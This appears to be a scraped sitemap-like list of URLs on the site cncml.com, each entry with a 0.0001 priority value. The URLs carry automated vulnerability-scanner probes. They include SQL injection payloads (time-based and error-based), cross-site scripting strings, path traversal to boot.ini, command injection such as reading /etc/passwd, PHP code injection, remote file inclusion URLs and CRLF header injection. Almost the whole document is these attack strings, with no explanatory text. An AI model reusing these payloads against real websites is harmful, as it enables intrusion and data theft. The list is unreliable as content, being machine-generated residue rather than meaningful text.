http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(23=38)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20(23=23 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=54)%20THEN%200x6D697363%20ELSE%200x28%20END))%20AND%20(72=72 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6D697363%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x6D697363%20ELSE%2017*(SELECT%2017%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(22=61)%20THEN%200x6D697363%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(46=46)%20THEN%200x6D697363%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(71=21)%20THEN%200x6D697363%20ELSE%2071*(SELECT%2071%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20(CASE%20WHEN%20(94=78)%20THEN%200x6D697363%20ELSE%2094*(SELECT%2094%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc6633x3X6 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misc;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=miscAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=miscAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=miscJyI%3D 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=miscalert(42873) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=misce360 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=phpinfo 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=set%7Cset&set 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%3Cdir 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=(SELECT%20(CASE%20WHEN%20(41=42)%20THEN%200x73706163656370%20ELSE%2041*(SELECT%2041%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=................windowswin.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=dir 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=phpinfo 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=set%7Cset&set 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp 0.0014 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%00' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25%27%29%20AND%2016%3D71%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25%27%29%20AND%2088%3D88%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%2052=62%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%2085=85%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=87)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%20'spacecp'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%2527 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%2527%20AND%2048=48%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%2527%20AND%2063=52%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%3Cscript%3Ealert(abc)%3C/script%3E 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%5B%5D 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%5C%22 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%5C' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp%bf%27 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp' 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%20'BM'='BM 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%20'n5'='xH 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?ac=usergroup&do=list&mod=spacecp'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 